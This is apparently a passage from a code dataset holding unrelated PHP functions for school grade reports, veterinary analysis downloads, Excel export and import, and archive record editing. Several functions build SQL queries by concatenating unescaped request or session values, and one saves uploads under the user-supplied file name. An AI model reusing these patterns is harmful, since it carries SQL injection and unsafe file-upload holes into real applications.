Cell(25,4,$curso,1,0,'C',1);\n\t\t\t$reporte -> Cell(60,4,$materia -> clave.\" - \".$materia -> nombre,1,0,'C',1);\n\n\t\t\t$reporte -> Ln();\n\t\t\t$reporte -> Ln();\n\n\t\t\t$reporte -> SetFillColor(0xDD,0xDD,0xDD);\n\t\t\t$reporte -> SetTextColor(0);\n\t\t\t$reporte -> SetDrawColor(0xFF,0x66,0x33);\n\t\t\t$reporte -> SetFont('Verdana','',8);\n\n\t\t\t$reporte -> SetFillColor(0xFF,0xFF,0xFF);\n\t\t\t$reporte -> Cell(127,6,\"\",1,0,'C',1);\n\t\t\t$reporte -> SetFillColor(0xDD,0xDD,0xDD);\n\t\t\t$reporte -> Cell(69,6,$parcialito,1,0,'C',1);\n\n\t\t\t$reporte -> Ln();\n\n\t\t\t$reporte -> SetFont('Verdana','',6);\n\n\t\t\t$reporte -> Cell(8,4,\"No.\",1,0,'C',1);\n\t\t\t$reporte -> Cell(18,4,\"REGISTRO\",1,0,'C',1);\n\t\t\t$reporte -> Cell(55,4,\"NOMBRE DEL ALUMNO\",1,0,'C',1);\n\t\t\t$reporte -> Cell(31,4,\"CARRERA\",1,0,'C',1);\n\t\t\t$reporte -> Cell(15,4,\"SITUACION\",1,0,'C',1);\n\t\t\t$reporte -> Cell(30,4,\"FALTAS\",1,0,'C',1);\n\t\t\t$reporte -> Cell(39,4,\"CALIFICACION\",1,0,'C',1);\n\n\t\t\t$reporte -> Ln();\n\n\t\t\t$reporte -> SetFillColor(0xFF,0xFF,0xFF);\n\t\t\t$np = 0;\n\t\t\tforeach($calificaciones -> find(\"curso_id='\".$xcurso->id.\"' ORDER BY registro\") as $calificacion){\n\t\t\t\t\t$n++;\n\n\t\t\t\t\tswitch($parcial){\n\t\t\t\t\t\t\tcase 1: if($calificacion -> calificacion1 >= 70 && $calificacion -> calificacion1 <= 100){ $aprobados++; } else { $reprobados++; } if( $calificacion -> calificacion1 >= 0 && $calificacion -> calificacion1 <= 100 ) { $promedio += $calificacion -> calificacion1; $np++;} break;\n\t\t\t\t\t\t\tcase 2: if($calificacion -> calificacion2 >= 70 && $calificacion -> calificacion2 <= 100){ $aprobados++; } else { $reprobados++; } if( $calificacion -> calificacion2 >= 0 && $calificacion -> calificacion2 <= 100 ) { $promedio += $calificacion -> calificacion2; $np++;} break;\n\t\t\t\t\t\t\tcase 3: if($calificacion -> calificacion3 >= 70 && $calificacion -> calificacion3 <= 100){ $aprobados++; } else { $reprobados++; } if( $calificacion -> calificacion3 >= 0 && $calificacion -> calificacion3 <= 100 ) { $promedio += $calificacion -> calificacion3; $np++;} break;\n\t\t\t\t\t}\n\n\t\t\t\t\tswitch($parcial){\n\t\t\t\t\t\t\tcase 1: $faltas = $calificacion -> faltas1; break;\n\t\t\t\t\t\t\tcase 2: $faltas = $calificacion -> faltas2; break;\n\t\t\t\t\t\t\tcase 3: $faltas = $calificacion -> faltas3; break;\n\t\t\t\t\t}\n\n\t\t\t\t\tswitch($parcial){\n\t\t\t\t\t\t\tcase 1: $cal = $calificacion -> calificacion1; break;\n\t\t\t\t\t\t\tcase 2: $cal = $calificacion -> calificacion2; break;\n\t\t\t\t\t\t\tcase 3: $cal = $calificacion -> calificacion3; break;\n\t\t\t\t\t}\n\n\t\t\t\t\tswitch($cal){\n\t\t\t\t\t\t\tcase 300: $cal=\"-\"; $faltas=\"-\"; break;\n\t\t\t\t\t\t\tcase 500: $cal=\"PND\"; break;\n\t\t\t\t\t\t\tcase 999: $cal=\"NP\"; $nps++; break;\n\t\t\t\t\t}\n\n\t\t\t\t\t$faltasletra = $this -> numero_letra($faltas);\n\t\t\t\t\t$calletra = $this -> numero_letra($cal);\n\n\t\t\t\t\tif($alumno = $alumnos -> find_first(\"miReg=\".$calificacion -> registro)){\n\t\t\t\t\t\t$carrera = $Carrera -> get_nombre_carrera_and_areadeformacion_($alumno);\n\t\t\t\t\t\t$reporte -> Cell(8,4,$n,1,0,'C',1);\n\t\t\t\t\t\t$reporte -> Cell(18,4,$calificacion -> registro,1,0,'C',1);\n\t\t\t\t\t\t$reporte -> Cell(55,4,$alumno -> vcNomAlu,1,0,'L',1);\n\t\t\t\t\t\t$reporte -> Cell(31,4, substr($carrera, 0, 26),1,0,'C',1);\n\t\t\t\t\t\t$reporte -> Cell(15,4,$alumno -> enTipo,1,0,'C',1);\n\t\t\t\t\t\t$reporte -> Cell(10,4,$faltas,1,0,'C',1);\n\t\t\t\t\t\t$reporte -> Cell(20,4,$faltasletra,1,0,'C',1);\n\t\t\t\t\t\t$reporte -> Cell(10,4,$cal,1,0,'C',1);\n\t\t\t\t\t\t$reporte -> Cell(29,4,$calletra,1,0,'C',1);\n\t\t\t\t\t\t$reporte -> Ln();\n\t\t\t\t\t}\n\t\t\t}\n\n\t\t\t$promedio /= $np;\n\t\t\t$aprobados += 0;\n\t\t\t$reprobados += 0;\n\t\t\t$nps += 0;\n\n\t\t\t$reporte -> Ln();\n\n\t\t\t$reporte -> SetFont('Verdana','',7);\n\n\t\t\t$reporte -> SetFillColor(0xDD,0xDD,0xDD);\n\t\t\t$reporte -> Cell(25,5,\"HORAS CLASE\",1,0,'C',1);\n\t\t\t$reporte -> Cell(25,5,\"AVANCE\",1,0,'C',1);\n\t\t\t$reporte -> Cell(26,5,\"NUMERO DE NPs\",1,0,'C',1);\n\t\t\t$reporte -> Cell(38,5,\"ALUMNOS APROBADOS\",1,0,'C',1);\n\t\t\t$reporte -> Cell(38,5,\"ALUMNOS REPROBADOS\",1,0,'C',1);\n\t\t\t$reporte -> Cell(38,5,\"PROMEDIO DEL GRUPO\",1,0,'C',1);\n\n\t\t\t$reporte -> Ln();\n\n\t\t\t$avance = $xcursos -> find_first(\"id='\".$xcurso->id.\"'\");\n\n\t\t\t$reporte -> SetFillColor(0xFF,0xFF,0xFF);\n\t\t\tswitch($parcial){\n\t\t\t\tcase 1: $reporte -> Cell(25,5,$avance -> horas1,1,0,'C',1); $reporte -> Cell(25,5,$avance -> avance1.\"%\",1,0,'C',1);break;\n\t\t\t\tcase 2: $reporte -> Cell(25,5,$avance -> horas2,1,0,'C',1); $reporte -> Cell(25,5,$avance -> avance2.\"%\",1,0,'C',1);break;\n\t\t\t\tcase 3: $reporte -> Cell(25,5,$avance -> horas3,1,0,'C',1); $reporte -> Cell(25,5,$avance -> avance3.\"%\",1,0,'C',1);break;\n\t\t\t}\n\n\t\t\t$reporte -> Cell(26,5,$nps,1,0,'C',1);\n\t\t\t$reporte -> Cell(38,5,$aprobados,1,0,'C',1);\n\t\t\t$reporte -> Cell(38,5,$reprobados,1,0,'C',1);\n\n\t\t\t$promedio = round($promedio*100)/100;\t//REDONDEO A DOS DECIMALES\n\n\t\t\t$reporte -> Cell(38,5,$promedio,1,0,'C',1);\n\n\t\t\t$reporte -> Ln();\n\t\t\t$reporte -> Ln();\n\n\t\t\t$reporte -> SetX(70);\n\t\t\t$reporte -> SetFillColor(0xDD,0xDD,0xDD);\n\t\t\t$reporte -> Cell(70,4,\"FIRMA DEL PROFESOR\",1,0,'C',1);\n\n\t\t\t$reporte -> Ln();\n\t\t\t$reporte -> SetX(70);\n\t\t\t$reporte -> SetFillColor(0xFF,0xFF,0xFF);\n\t\t\t$reporte -> Cell(70,15,\"\",1,0,'C',1);\n\n\t\t\t$reporte -> Ln();\n\t\t\t$reporte -> SetX(70);\n\t\t\t$reporte -> SetFillColor(0xDD,0xDD,0xDD);\n\t\t\t$reporte -> Cell(70,5,$maestro -> nombre,1,0,'C',1);\n\t\t\t\n\t\t\t$reporte -> Ln();\n\t\t\t$reporte -> Ln();\n\t\t\t$reporte -> Ln();\n\t\t\t$reporte -> SetX(165);\n\t\t\t$reporte -> SetFont('Verdana','',8);\n\t\t\t$reporte -> MultiCell(0,2,\"FSGC-217-7.INS-005\",0,'C',0);\n\t\t\t\n\t\t\t// /datos/calculo/ingenieria/apps/default/controllers\n\t\t\t$reporte -> Output(\"public/files/reportes/\".$periodo.\"/\".$parcial.\"/\".$curso.\".pdf\");\n\n\t\t\t$this->redirect(\"public/files/reportes/\".$periodo.\"/\".$parcial.\"/\".$curso.\".pdf\");\n }", "public function accionesParticulares($str_accion, $objDatos) {\n \n\t\t//throw new Exception('Se ha intentado ejecutar la acción '.$str_accion.' y no está programada.'); \n\n\t\t//IgepDebug::setDebug(DEBUG_USER,\"El valor es: <pre>\".$str_accion.\"</pre>\");\n //$num=IgepSession::dameCampoTuplaSeleccionada('TcomintComunicaciones','edi_numorden');\n //$anyo=IgepSession::dameCampoTuplaSeleccionada('TcomintComunicaciones','edi_anyo');\n $id_animal=$objDatos->getValue('id_animal');\n $fecha=$objDatos->getValue('edi_fecha');\n switch ($str_accion) {\n case 'verInformeAnalisis':\n //Bucle para crear un listado para cada peticion seleccionada:\n // $objDatos->setOperation(\"seleccionar\");\n //$m_datosSeleccionados = $objDatos->currentTupla();\n $res = $this->consultar(\"SELECT nombre_fichero,informe from tasoka_historial_analitica\n WHERE id_animal ='\".$id_animal.\"' and fecha='\".$this->getConnection()->prepararFecha( $fecha).\"'\");\n if(is_array($res)&&$res[0]['informe']!=''){ \n $trozos = explode(\".\", $res[0]['nombre_fichero']); \n $extension =strtolower(end($trozos));\n if($extension===\"pdf\") \n header('Content-Type: application/pdf');\n elseif($extension===\"doc\" || $extension===\"docx\")\n header(\"Content-type: application/msword\");\n elseif($extension===\"odt\") \n header(\"Content-type: application/vnd.oasis.opendocument.text\");\n else {\n $this->showMessage('APL-11');\n $actionForward = new ActionForward('gvHidraValidationError');\n $actionForward->put('IGEPclaseManejadora','Tasoka_salud_analitica2D');\n break;\n }\n \n \n header('Content-Disposition: attachment; filename=\"'.$res[0]['nombre_fichero'].'\"');\n \n /*\n * header(\"Content-type: application/msword\");\nheader(\"Content-Disposition: inline; filename=word.doc\");\n\n */\n //print(pg_unescape_bytea($res[0]['doc_entrada']));\n\t\t\t\t\tprint($res[0]['informe']);\n ob_end_flush ();\n //Para que no continue la ejecuci\\F3n de la p\\E1gina\n die; \n } \n else {\n $this->showMessage('APL-44');\n $actionForward = new ActionForward('gvHidraValidationError');\n $actionForward->put('IGEPclaseManejadora','Tasoka_salud_analitica2D');\n \n } \n \n break;\n \n case 'borrarInformeAnalisis': \n // $objDatos->setOperation(\"actualizar\");\n if($objDatos->getValue('edi_nombre_fichero','actualizar')!='') {\n \n if(!empty($id_animal) && !empty($fecha)) {\n \n $sql=\"update tasoka_historial_analitica set informe=null , nombre_fichero=null where id_animal=$id_animal and fecha='\".$this->getConnection()->prepararFecha($fecha).\"' \";\n $error=$this->operar($sql);\n if($error==0) {\n $this->showMessage('APL-49',array('ENTRADA'));\n $actionForward = $objDatos->getForward('gvHidraSuccess');\n $this->refreshSearch(false);\n }\n else {\n $this->showMessage('APL-48',array('ENTRADA'));\n $actionForward = $objDatos->getForward('gvHidraError');\n }\n }\n //IgepDebug::setDebug(DEBUG_USER,\"El codigo es: <pre>\".print_r($objDatos->getValue('edi_doc_entrada_nombre'),true).\"</pre>\");\n //$objDatos->setValue('edi_asunto','');\n //die;\n } \n else {\n $this->showMessage('APL-52',array('ENTRADA'));\n $actionForward = new ActionForward('gvHidraValidationError');\n $actionForward->put('IGEPclaseManejadora','Tasoka_salud_analitica2D');\n }\n break;\n }\n \t\n }", "function master_jual_rawat_export_excel(){\r\n\t\t//POST varibale here\r\n\t\t$jrawat_nobukti=trim(@$_POST[\"jrawat_nobukti\"]);\r\n\t\t$jrawat_nobukti=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$jrawat_nobukti);\r\n\t\t$jrawat_nobukti=str_replace(\"'\", '\"',$jrawat_nobukti);\r\n\t\t$jrawat_cust=trim(@$_POST[\"jrawat_cust\"]);\r\n\t\t$jrawat_diskon=trim(@$_POST[\"jrawat_diskon\"]);\r\n\t\t$jrawat_cashback=trim(@$_POST[\"jrawat_cashback\"]);\r\n\t\t$jrawat_voucher=trim(@$_POST[\"jrawat_voucher\"]);\r\n\t\t$jrawat_voucher=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$jrawat_voucher);\r\n\t\t$jrawat_voucher=str_replace(\"'\", '\"',$jrawat_voucher);\r\n\t\t$jrawat_cara=trim(@$_POST[\"jrawat_cara\"]);\r\n\t\t$jrawat_cara=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$jrawat_cara);\r\n\t\t$jrawat_cara=str_replace(\"'\", '\"',$jrawat_cara);\r\n\t\t$jrawat_bayar=trim(@$_POST[\"jrawat_bayar\"]);\r\n\t\t$jrawat_keterangan=trim(@$_POST[\"jrawat_keterangan\"]);\r\n\t\t$jrawat_keterangan=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$jrawat_keterangan);\r\n\t\t$jrawat_keterangan=str_replace(\"'\", '\"',$jrawat_keterangan);\r\n\t\t$jrawat_stat_dok=trim(@$_POST[\"jrawat_stat_dok\"]);\r\n\t\t$jrawat_stat_dok=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$jrawat_stat_dok);\r\n\t\t$jrawat_stat_dok=str_replace(\"'\", '\"',$jrawat_stat_dok);\r\n\t\t\r\n\t\t$jrawat_tgl_start=trim(@$_POST[\"jrawat_tgl_start\"]);\r\n\t\t$jrawat_tgl_end=trim(@$_POST[\"jrawat_tgl_end\"]);\r\n\t\t\r\n\t\t$option=$_POST['currentlisting'];\r\n\t\t$filter=$_POST[\"query\"];\r\n\t\t\r\n\t\t$query = $this->m_master_jual_rawat->master_jual_rawat_export_excel($jrawat_nobukti\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t,$jrawat_cust\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t,$jrawat_diskon\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t,$jrawat_stat_dok\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t,$jrawat_cashback\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t,$jrawat_voucher\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t,$jrawat_cara\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t,$jrawat_bayar\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t,$jrawat_keterangan\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t,$jrawat_tgl_start\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t,$jrawat_tgl_end\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t,$option\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t,$filter);\r\n\t\t\r\n\t\tto_excel($query,\"master_jual_rawat\"); \r\n\t\techo '1';\r\n\t\t\t\r\n\t}", "function exportDataOneInscritos($T_INSCRITOS,$PROVINCIA,$CLAVE,$TOMO,$FOLIO)\n{\n global $mysqli;\n $TINS = $T_INSCRITOS;\n $Query = new Query($mysqli, \"SELECT * FROM \".$TINS.\" where provincia=? and clave=? and tomo=? and folio=?\");\n $parametros = array('ssss', &$PROVINCIA,&$CLAVE,&$TOMO,&$FOLIO);\n $data = $Query->getresults($parametros);\n\n // --- Guardamos el documento\n if (isset($data[0])) {\n return $data[0];} else {return null;}\n}", "public function postCargarInformacion(){\n\t\t$fecha = date(\"Y-d-m H:i:s\");\n\t\t$registro = DB::SELECT(\"SELECT ident_current('MODBID_INFORMACIONPUBLIC') AS [LastID_1]\");\t\t\n\t\t$id_foto = (($registro[0]->LastID_1)+1).\".jpg\";\n\t\t\t\t\n\t\tDB::table('MODBID_INFORMACIONPUBLIC')->insert(\n\t\t \tarray(\n\t\t \t\t'id_usuario' => Auth::user()->id,\t\t \t\t\n\t\t \t\t'titulo' => Input::get('titulo'),\n\t\t \t\t'foto' => $id_foto,\n\t\t \t\t'tipo' => Input::get('tipo'),\n\t\t \t\t'texto' => Input::get('texto'),\t\t\t \t\t\n\t\t \t\t'created_at' => $fecha,\n\t \t\t\t'updated_at' => $fecha,\n\t \t\t\t'fecha_noticia' => Input::get('fecha_info')\n\n\t\t \t)\n\t\t);\n\n\t\t$path_foto = public_path().'/assets/bid/informacion/'.(($registro[0]->LastID_1)+1).\"/\";\n\t\tInput::file('foto')->move($path_foto,$id_foto);\n\t\treturn Redirect::to('vista1_bid')->with('status', 'ok_estatus');\n\t}", "function download(){\n\t/** Include PHPExcel */\n\trequire_once dirname(__FILE__) . '/Excel/PHPExcel.php';\n\t\n\t$objPHPExcel = new PHPExcel();\n\t\n\t// Set document properties\n\t$objPHPExcel->getProperties()->setCreator($_SESSION[\"userInfo\"][\"userName\"])\n\t\t\t\t\t\t\t\t->setLastModifiedBy($_SESSION[\"userInfo\"][\"userName\"])\n\t\t\t\t\t\t\t\t->setTitle(\"Smart Shop Inventory\")\n\t\t\t\t\t\t\t\t->setSubject(\"Smart Shop Inventory\")\n\t\t\t\t\t\t\t\t->setDescription(\"Inventory outputted from the Smart Shop database.\")\n\t\t\t\t\t\t\t\t->setKeywords(\"office PHPExcel php\")\n\t\t\t\t\t\t\t\t->setCategory(\"Inventory Data File\");\n\t\n\t//size the columns appropriately\n\t$objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(5);\n\t$objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(18);\n\t$objPHPExcel->getActiveSheet()->getColumnDimension('C')->setWidth(10);\n\t$objPHPExcel->getActiveSheet()->getColumnDimension('D')->setWidth(10);\n\t$objPHPExcel->getActiveSheet()->getColumnDimension('E')->setWidth(20);\n\t\n\t//color the title row\n\t$objPHPExcel->getActiveSheet()\n\t\t->getStyle('A1:E1')\n\t\t->getFill()\n\t\t->setFillType(PHPExcel_Style_Fill::FILL_SOLID)\n\t\t->getStartColor()\n\t\t->setARGB('FF808080');\n\t\n\t//output the titles for the columns\n\t$objPHPExcel->setActiveSheetIndex(0)\n\t\t\t\t->setCellValue('A1', 'ID')\n\t\t\t\t->setCellValue('B1', 'Name')\n\t\t\t\t->setCellValue('C1', 'Quantity')\n\t\t\t\t->setCellValue('D1', 'Value')\n\t\t\t\t->setCellValue('E1', 'Last Updated');\n\t\n\t$items = getItems();\n\t$i = 2;\n\tforeach($items as $item){\n\t\t//populate the row with values\n\t\t$objPHPExcel->setActiveSheetIndex(0)\n\t\t\t\t->setCellValue('A'.$i, $item[\"Id\"])\n\t\t\t\t->setCellValue('B'.$i, $item[\"Name\"])\n\t\t\t\t->setCellValue('C'.$i, $item[\"Quantity\"])\n\t\t\t\t->setCellValue('D'.$i, $item[\"Value\"])\n\t\t\t\t->setCellValue('E'.$i, $item[\"Updated\"]);\n\t\t\n\t\t//Set the value cell format to currency\n\t\t$objPHPExcel->getActiveSheet()\n\t\t->getStyle('D'.$i)\n\t\t->getNumberFormat()\n\t\t->setFormatCode(\n\t\t\tPHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE\n\t\t);\n\t\n\t\t$i++;\n\t}\n\t\n\t// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n\t$objPHPExcel->setActiveSheetIndex(0);\n\t\n\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t$output = \"downloads/\" . date(\"Y-m-d_H-i\") . \"_Inventory.xlsx\";\n\t$objWriter->save($output);\n\t\n\treturn [\"success\" => true, \"message\" => $output];\n}", "public function upload()\n {\n $this->load->library('upload');\n $fileName = $_FILES['import']['name'];\n\n $config['upload_path'] = './assets'; //buat folder dengan nama assets di root folder\n $config['file_name'] = $fileName;\n $config['allowed_types'] = 'xls|xlsx|csv';\n $config['max_size'] = 10000;\n $config['overwrite'] = TRUE;\n\n $this->upload->initialize($config);\n\n if (!$this->upload->do_upload('import')) {\n $this->upload->display_errors();\n }\n $inputFileName = './assets/' . $fileName;\n\n try {\n $inputFileType = PHPExcel_IOFactory::identify($inputFileName);\n $objReader = PHPExcel_IOFactory::createReader($inputFileType);\n $objPHPExcel = $objReader->load($inputFileName);\n } catch (Exception $e) {\n die('Error loading file \"' . pathinfo($inputFileName, PATHINFO_BASENAME) . '\": ' . $e->getMessage());\n }\n\n $sheet = $objPHPExcel->getSheet(0);\n $highestRow = $sheet->getHighestRow();\n $startRow = 2;\n $rowData = array();\n if ($highestRow > 1) {\n $highestColumn = $sheet->getHighestColumn();\n $insert = FALSE;\n for ($row = 0; $row < $highestRow - 1; $row++) {\n // Read a row of data into an array\n $tmp = $sheet->rangeToArray('A' . $startRow . ':' . 'N' . $startRow++, NULL, TRUE, FALSE)[0];\n if(substr($tmp[12], 0, 1) != '0'){\n \t$tmp[12] = '0' . $tmp[12];\n }\n $data = array(\n \"nama\" => $tmp[0],\n \"merk\" => $tmp[1],\n \"tipe\" => $tmp[2],\n \"ukuran\" => $tmp[3],\n \"satuan\" => $tmp[4],\n \"hargaPasar\" => $tmp[5],\n \"biayaKirim\" => $tmp[6],\n \"resistensi\" => $tmp[7],\n \"ppn\" => $tmp[8],\n \"hargashsb\" => $tmp[9],\n \"keterangan\" => $tmp[10],\n \"spesifikasi\" => $tmp[11],\n \"kode_kategori\" => $tmp[12],\n \"tahun_anggaran\" => $tmp[13],\n \"createdBy\" => $this->ion_auth->get_user_id(),\n );\n array_push($rowData, $data);\n }\n\n if ($this->barang_m->insert_many($rowData)) {\n $this->message('Berhasil! Data berhasil di upload', 'success');\n $this->cache->delete('homepage');\n $this->cache->delete('list_kategori');\n } else {\n $this->message('Gagal! Data gagal di upload', 'danger');\n }\n } else {\n $this->message('Gagal! Data gagal di upload', 'danger');\n }\n redirect(site_url('katalog/add'));\n }", "public static function importar($excel)\n {\n $log = '';\n $reader = new Xls();\n $spreadsheet = $reader->load(public_path('/storage/' . $excel['path']));\n $pagos = [];\n $pendiente2017 = [];\n $gestiones = 0;\n foreach ($spreadsheet->getAllSheets() as $sheet) {\n $ene = $sheet->getCell('G2')->getValue();\n if ($ene === 'ENE') {\n $gestion = $sheet->getTitle();\n $gestiones++;\n for ($row = 4;$row < 100;$row++) {\n $name = trim($sheet->getCell(\"C{$row}\")->getValue());\n $isName = static::isName($name);\n if ($isName) {\n // Pendiente de 2017\n if ($gestion == '2018') {\n $pendiente2017[$name] = floatval($sheet->getCell(\"D{$row}\")->getCalculatedValue());\n }\n // a cuenta\n $pagos[$name][] = floatval($sheet->getCell(\"E{$row}\")->getCalculatedValue());\n floatval($sheet->getCell(\"E{$row}\")->getCalculatedValue());\n for ($m = 0;$m < 12;$m++) {\n $col = static::toColumn(7 + $m * 2);\n $pagos[$name][sprintf('%04d-%02d', $gestion, $m + 1)] = [\n $gestion,\n $m + 1,\n floatval($sheet->getCell(\"{$col}{$row}\")->getCalculatedValue())\n ];\n }\n }\n }\n }\n }\n ksort($pagos);\n // Calcula la moda de los pagos\n $aporteMensual = [];\n foreach ($pagos as $nombre => $pp) {\n $moda = [];\n ksort($pp);\n $pagos[$nombre] = $pp;\n foreach ($pp as $pago) {\n if ($pago[2]) {\n isset($moda[$pago[2]]) ? $moda[$pago[2]]++ : $moda[$pago[2]] = 1;\n }\n }\n arsort($moda);\n reset($moda);\n $aporteMensual[$nombre] = key($moda);\n }\n // Prepara resumen final\n $resumen = [];\n foreach ($pagos as $nombre => $pp) {\n $aporte = $aporteMensual[$nombre];\n //$log .= \" $nombre: \" . array_sum($pp) . '/' . ($aporte * 12 * $gestiones + @$pendiente2017[$nombre]) . \" ($aporte)\\n\";\n $aportes = [\n [\n 'mes' => 12,\n 'gestion' => 2017,\n 'a_pagar' => $pendiente2017[$nombre] ?? 0,\n 'monto' => 0,\n ],\n ];\n foreach ($pp as $pago) {\n if ($pago[2]) {\n isset($moda[$pago[2]]) ? $moda[$pago[2]]++ : $moda[$pago[2]] = 1;\n }\n }\n $resumen[] = [\n 'name' => $nombre,\n 'aporte_mensual' => $aporteMensual[$nombre],\n 'aportes' => $aportes,\n ];\n }\n return $resumen;\n }", "function LLena_GridGeneral()\n { /*Instruccion de sql que manda los datos al dbgEstimacion*/\n global $sContrato;\n $sql= \"select\n iNumeroEstimacion as Estimacion,\n sNumeroOrden as No_Orden,\n iSemana as Sem,\n sNumeroGenerador as Gen,\n lStatus as Status,\n dFinancieroGenerador as Porcent,\n date_format(dFechaInicio,'%d/%m/%Y') as F_Inicio,\n date_format(dFechaFinal,'%d/%m/%Y') as F_Final,\n format(dMontoMN,2) as Monto_MN,\n format(dMontoDLL,2) as Monto_DLL,\n sFaseObra as Fase_Obra\n from\n estimaciones\n where\n sContrato='$sContrato'\";\n $this->qryGeneral->Active=false;\n $this->qryGeneral->setSQL($sql);\n $this->qryGeneral->Active=true;\n }", "function update() {\r\n $exp_id = VAR3;\r\n $fil_id = VAR4;\r\n $seccion = VAR5;\r\n \r\n // Find ser_id\r\n $expediente = new tab_expediente ();\r\n $tab_expediente = $expediente->dbselectById($exp_id);\r\n $ser_id = $tab_expediente->getSer_id();\r\n \r\n // Tab_archivo\r\n $this->archivo = new tab_archivo();\r\n $row = $this->archivo->dbselectByField(\"fil_id\", $fil_id);\r\n $row = $row[0]; \r\n \r\n\r\n \r\n // Tab_doccorr\r\n $tab_doccorr = new Tab_doccorr();\r\n $sql = \"SELECT * \r\n FROM tab_doccorr \r\n WHERE fil_id='\" . $row->fil_id . \"'\";\r\n $doccorr = $tab_doccorr->dbSelectBySQL($sql);\r\n if($doccorr){\r\n $doccorr = $doccorr[0]; \r\n // Nur\r\n $hojas_ruta = new hojas_ruta();\r\n $this->registry->template->dco_id = $doccorr->dco_id;\r\n $this->registry->template->fil_cite = $hojas_ruta->obtenerSelect($doccorr->fil_cite);\r\n $seguimientos = new seguimientos();\r\n $this->registry->template->fil_nur_s = $seguimientos->obtenerSelect($doccorr->fil_nur_s);\r\n\r\n $this->registry->template->fil_nur = $doccorr->fil_nur;\r\n $this->registry->template->fil_asunto = $doccorr->fil_asunto;\r\n $this->registry->template->fil_sintesis = $doccorr->fil_sintesis;\r\n }else{\r\n // Nur\r\n $this->registry->template->dco_id = \"\";\r\n $this->registry->template->fil_cite = \"\";\r\n $this->registry->template->fil_nur_s = \"\";\r\n $this->registry->template->fil_nur = \"\";\r\n $this->registry->template->fil_asunto = \"\";\r\n $this->registry->template->fil_sintesis = \"\"; \r\n }\r\n// $this->registry->template->fil_nur = \"\";\r\n// $this->registry->template->fil_asunto = \"\";\r\n// $this->registry->template->fil_sintesis = \"\";\r\n// $this->registry->template->fil_cite = \"\";\r\n// $this->registry->template->fil_nur_s = \"\";\r\n \r\n \r\n\r\n\r\n // Tab_exparchivo\r\n $sql = \"SELECT * \r\n FROM tab_exparchivo \r\n WHERE fil_id='\" . $row->fil_id . \"'\";\r\n $exa_row = $this->archivo->dbSelectBySQL($sql);\r\n $exa_row = $exa_row[0];\r\n $this->registry->template->exp_id = $exp_id;\r\n $this->registry->template->tra_id = $exa_row->tra_id;\r\n $this->registry->template->cue_id = $exa_row->cue_id;\r\n $this->registry->template->exa_id = $exa_row->exa_id;\r\n \r\n $expediente = new expediente ();\r\n // Tab_archivo\r\n $this->registry->template->seccion = $seccion;\r\n $this->registry->template->fil_id = $fil_id;\r\n $this->registry->template->fil_codigo = $row->fil_codigo;\r\n $this->registry->template->fil_nro = $row->fil_nro;\r\n $this->registry->template->fil_titulo = $row->fil_titulo;\r\n $this->registry->template->fil_subtitulo = $row->fil_subtitulo;\r\n $this->registry->template->fil_fecha = $row->fil_fecha;\r\n $this->registry->template->fil_mes = $expediente->obtenerSelectMes($row->fil_mes);\r\n $this->registry->template->fil_anio = $expediente->obtenerSelectAnio($row->fil_anio); \r\n \r\n $idioma = new idioma (); \r\n $this->registry->template->idi_id = $idioma->obtenerSelect($row->idi_id);\r\n\r\n $this->registry->template->fil_proc = $row->fil_proc;\r\n $this->registry->template->fil_firma = $row->fil_firma;\r\n $this->registry->template->fil_cargo = $row->fil_cargo;\r\n // Include dynamic fields\r\n $expcampo = new expcampo();\r\n $this->registry->template->filcampo = $expcampo->obtenerSelectCampos($ser_id); \r\n $sopfisico = new sopfisico();\r\n $this->registry->template->sof_id = $sopfisico->obtenerSelect($row->sof_id);\r\n $this->registry->template->fil_nrofoj = $row->fil_nrofoj;\r\n $this->registry->template->fil_tomovol = $row->fil_tomovol;\r\n $this->registry->template->fil_nroejem = $row->fil_nroejem;\r\n $this->registry->template->fil_nrocaj = $row->fil_nrocaj;\r\n $this->registry->template->fil_sala = $row->fil_sala;\r\n $archivo = new archivo ();\r\n $this->registry->template->fil_estante = $archivo->obtenerSelectEstante($row->fil_estante);\r\n $this->registry->template->fil_cuerpo = $row->fil_cuerpo;\r\n $this->registry->template->fil_balda = $row->fil_balda;\r\n $this->registry->template->fil_tipoarch = $row->fil_tipoarch;\r\n $this->registry->template->fil_mrb = $row->fil_mrb;\r\n \r\n $this->registry->template->fil_ori = $row->fil_ori;\r\n $this->registry->template->fil_cop = $row->fil_cop;\r\n $this->registry->template->fil_fot = $row->fil_fot;\r\n \r\n $this->registry->template->fil_confidencilidad = $row->fil_confidencialidad;\r\n $this->registry->template->fil_obs = $row->fil_obs;\r\n \r\n $this->registry->template->required_archivo = \"\"; \r\n\r\n //palabras clave\r\n $palclave = new palclave();\r\n $this->registry->template->pac_nombre = $palclave->listaPC();\r\n $this->registry->template->fil_descripcion = $palclave->listaPCFile($row->fil_id);\r\n \r\n $arc = new archivo ();\r\n $this->registry->template->confidencialidad = $arc->loadConfidencialidad('1');\r\n $this->registry->template->PATH_WEB = PATH_WEB;\r\n $this->registry->template->PATH_DOMAIN = PATH_DOMAIN;\r\n $exp = new expediente ();\r\n if ($seccion == \"estrucDocumental\") 